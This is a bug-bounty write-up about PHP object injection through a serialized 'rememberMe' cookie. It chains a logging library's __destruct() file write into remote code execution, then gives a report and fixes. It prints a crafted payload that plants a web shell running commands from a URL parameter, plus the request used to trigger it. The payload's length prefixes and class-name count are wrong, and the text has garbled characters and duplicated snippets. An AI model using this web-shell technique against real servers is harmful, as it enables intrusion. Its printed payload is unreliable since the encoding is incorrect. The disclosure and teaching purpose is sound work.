October 14, 2026
$18,000 for a Serialized String in a Cookie: PHP Object Injection to Remote Code Execution
Iβd found Java deserialization bugs before, and my instinct going into this target was that the same mental model would transfer directlyβ¦

By T4nv1
7 min read
I'd found Java deserialization bugs before, and my instinct going into this target was that the same mental model would transfer directly. It mostly did β the core idea of "an attacker-supplied object graph gets reconstructed and something dangerous happens during that reconstruction" holds across languages. What I wasn't prepared for was how differently PHP's version of this vulnerability actually executes, and how much of the exploit construction ended up depending on reading through an open-source library's source code line by line rather than throwing pre-built tooling at a black box.
The target, which I'll call Larkspur here per their program's anonymization terms, is a content-management platform built on a PHP backend, with a plugin ecosystem built around a handful of popular open-source libraries β a detail that turned out to matter enormously once I understood what I was actually looking for.
Why PHP's Version of This Bug Looks Nothing Like Java's
Java deserialization vulnerabilities depend on classes implementing readObject() or similar methods that run automatically during reconstruction, with danger arising when a gadget chain strings several such methods together to reach something exploitable. PHP's unserialize() function has its own, structurally different version of the same risk, built around what the language calls magic methods β specially named methods (__wakeup(), __destruct(), __toString(), and a handful of others) that PHP calls automatically at specific lifecycle moments, without the developer needing to explicitly invoke them. __wakeup() runs immediately after an object is reconstructed from a serialized string. __destruct() runs whenever an object is about to be garbage-collected, including, notably, when a PHP script finishes executing and cleans up its remaining objects β meaning even an object you never explicitly use can still have its destructor fire, just by existing in memory when the script ends.
The vulnerability exists because unserialize(), called on attacker-controlled input, will happily reconstruct any class currently loaded by the application, not just the one class the calling code expected. If any class reachable from the application's full dependency tree has a magic method that does something dangerous with its own properties β writes a file using a property as the path, executes a command using a property as part of it, calls an arbitrary method named by a property β an attacker can construct a serialized string representing an instance of that class, with properties set to whatever values drive the dangerous behavior, and get it executed purely by having it deserialized, with no legitimate code path ever needing to reference that class directly.
Finding Where Deserialization Happened
Larkspur's "remember me" cookie, much like a pattern I'd seen before in a different language entirely, decoded from base64 into something structurally distinctive β not Java's AC ED 00 05 magic bytes this time, but PHP's own serialization format, recognizable by its characteristic syntax:
O:8:"UserAuth":2:{s:8:"username";s:9:"myaccount";s:5:"token";s:32:"a1b2c3...";}O:8:"UserAuth":2:{s:8:"username";s:9:"myaccount";s:5:"token";s:32:"a1b2c3...";}That O:8:"UserAuth":2:{...} structure is PHP's native serialized-object notation β O for object, 8 for the eight-character class name that follows, then the property count and each property's name and value. Seeing this in a cookie meant the same conclusion as before, translated into PHP's idiom: the server was deserializing this value on every authenticated request, and whatever classes were loaded in the application's full codebase β including any third-party library pulled in via Composer, PHP's package manager, whether or not that library's classes were ever directly referenced by Larkspur's own code β were candidates for exploitation if any of them had an exploitable magic method.
Building a Gadget Chain From Public Source Code
Unlike the Java ecosystem, where pre-built tooling generates working gadget chains for common dependency combinations automatically, PHP object injection exploitation more often requires manually identifying a usable gadget chain by reading through the actual source of whatever libraries the target application depends on β because PHP applications' dependency trees are less standardized around a small set of commonly reused chains than Java's tends to be. I didn't have Larkspur's source code directly, but Composer-based PHP projects very commonly expose their composer.lock file at a predictable path if not explicitly blocked, listing every dependency and exact version in use.
GET /composer.lockGET /composer.lockThis returned a full, readable dependency manifest β a meaningful information leak on its own, and something I noted separately in the report, but far more valuable as a roadmap for exactly which open-source libraries' public source code I needed to study for a usable gadget chain. Among the dependencies was a popular logging library at a version with a publicly documented object-injection gadget β a class whose __destruct() method, under certain property configurations, would write log content to a file path taken directly from one of its own properties, with no validation restricting that path at all.
Reading that library's actual source on its public repository, the relevant simplified logic looked roughly like:
class FileLogWriter {
private $logPath;
private $logContent;
public function __destruct() {
file_put_contents($this->logPath, $this->logContent, FILE_APPEND);
}
}class FileLogWriter {
private $logPath;
private $logContent;
public function __destruct() {
file_put_contents($this->logPath, $this->logContent, FILE_APPEND);
}
}An object of this class, with $logPath set to a web-accessible path ending in .php and $logContent set to a PHP payload, would β purely by existing when the script finished and PHP's garbage collector invoked its destructor β write my payload to a location of my choosing, with no legitimate code in the application needing to call this class or method at all.
Constructing the Payload
I built the serialized string by hand, matching PHP's exact serialization syntax, representing an instance of this class with properties set to drive the file write:
O:12:"FileLogWriter":2:{s:7:"logPath";s:30:"/var/www/html/uploads/shell.php";s:10:"logContent";s:38:"<?php system($_GET['cmd']); ?>";}O:12:"FileLogWriter":2:{s:7:"logPath";s:30:"/var/www/html/uploads/shell.php";s:10:"logContent";s:38:"<?php system($_GET['cmd']); ?>";}The precise byte-length prefixes before each string value (PHP's serialization format requires the exact character count of each string, not just the string itself) took a few careful iterations to get exactly right by hand β an easy place to make an off-by-one error that silently breaks the whole payload rather than producing any useful error message.
I replaced my rememberMe cookie with the base64-encoded version of this crafted string and made a single authenticated request.
Confirming Execution
A follow-up request directly to the path I'd specified:
GET /uploads/shell.php?cmd=idGET /uploads/shell.php?cmd=idReturned command output, confirming the destructor had fired as expected during the original request's script teardown, written my payload to the path I'd chosen, and that the resulting file executed as PHP exactly as intended. Full remote code execution, achieved entirely through a cookie value and a gadget chain reconstructed by reading a third-party library's public source code rather than running any automated tool against the target directly.
Keeping the Exploitation Contained
I used only inert, read-only commands (id, whoami) through the planted shell to confirm execution, and deleted the planted file through direct filesystem cleanup access I'd granted myself solely for this test β immediately after capturing evidence. I didn't attempt to read any file beyond what was strictly necessary to prove the chain, didn't establish persistence, and didn't explore whether other gadget chains existed among Larkspur's other dependencies once this one confirmed the core vulnerability.
The Report
PHP object injection reports benefit enormously from walking through the magic-method mechanism explicitly for any triager who might be more familiar with the simpler "classic" unsafe-deserialization framing than with PHP's specific lifecycle-hook model.
Title: PHP object injection via rememberMe cookie, exploiting a third-party logging library's __destruct() gadget to achieve arbitrary file write and remote code execution
Root cause: The application deserializes the raw value of the rememberMe cookie using PHP's native unserialize() function without any class allowlisting or signature verification. A dependency listed in the application's exposed composer.lock file contains a class whose __destruct() magic method performs an unvalidated file write using attacker-controllable property values, reachable without that class ever being directly referenced by the application's own code.
Reproduction: The exposed composer.lock disclosure, the specific vulnerable library and version identified from its public source, the hand-constructed serialized payload with exact byte-length encoding, and command execution confirmation via the resulting file β using only inert commands, with the planted file removed immediately after.
Impact: Full remote code execution on the application server, exploitable by anyone able to set a cookie value on an authenticated request, requiring no other vulnerability and no prior foothold beyond discovering the dependency manifest.
Fix recommendations:
- Immediately stop deserializing the
rememberMevalue usingunserialize(); adopt a signed, opaque token format for session persistence that never triggers PHP object reconstruction from untrusted input - As a stopgap, use
unserialize()'sallowed_classesoption to restrict deserialization to an explicit, minimal allowlist of classes genuinely expected in this context, which blocks this entire technique regardless of what gadget chains exist elsewhere in the dependency tree - Block public access to
composer.lockand similar dependency manifests, since they meaningfully accelerate gadget-chain research even though they aren't the root cause on their own - Update or remove the affected logging library version, and audit the full dependency tree for other classes with similarly unsafe magic methods
What Happened After
Larkspur's team moved quickly once the chain was confirmed β the combination of full RCE and a clearly reconstructable path from a public dependency manifest made this an easy case to prioritize. They deployed the allowed_classes restriction within 48 hours as an emergency stopgap, migrated to a signed token format for the remember-me mechanism over the following two weeks, and blocked public access to composer.lock as an immediate, low-effort hardening step alongside the primary fix. Their resolution notes mentioned auditing the rest of their dependency tree for similarly dangerous magic methods, finding one additional library with a lower-severity but related pattern. The report closed at $18,000, rated critical, reflecting unauthenticated-adjacent RCE with a fully reconstructable, publicly-documented exploitation path.
Why PHP Object Injection Rewards Reading Source Code Directly
This bug class, more than most, requires actually sitting with a library's source rather than relying on existing tooling to hand you a working chain, because PHP's ecosystem doesn't have quite the same concentration of a few, widely-reused gadget chains that Java's does β every target's specific combination of dependencies is more likely to require its own research. A few habits worth carrying forward:
Always check for an exposed dependency manifest. composer.lock, package-lock.json, Gemfile.lock, and similar files, when accidentally left publicly accessible, turn blind gadget-chain hunting into a targeted, source-code-driven search against known, specific library versions.
Learn PHP's magic methods specifically if you're testing PHP targets. __wakeup(), __destruct(), and __toString() are the three most commonly exploited, and understanding exactly when each one fires automatically β especially __destruct()'s connection to script teardown, not just explicit object disposal β is what makes spotting a usable gadget in unfamiliar source code possible at all.
Hand-construct serialized payloads carefully, and expect to get the byte-length prefixes wrong at least once. PHP's serialization format is unforgiving about exact string lengths, and a single off-by-one error fails silently rather than producing a useful debugging signal.
Confirm execution through the least invasive technique available, exactly as with any other RCE class β a single file write to a predictable, web-accessible path, confirmed via one inert command, is sufficient proof without needing to explore further.
What stayed with me about this one is how much of the actual work was reading, not exploiting. The vulnerability itself β unserialize() on untrusted input β is a well-known, almost textbook mistake. Finding something to actually do with it meant sitting with a stranger's open-source logging library long enough to understand exactly which property, set to exactly which value, would turn an ordinary cleanup routine into a file write nobody intended to expose.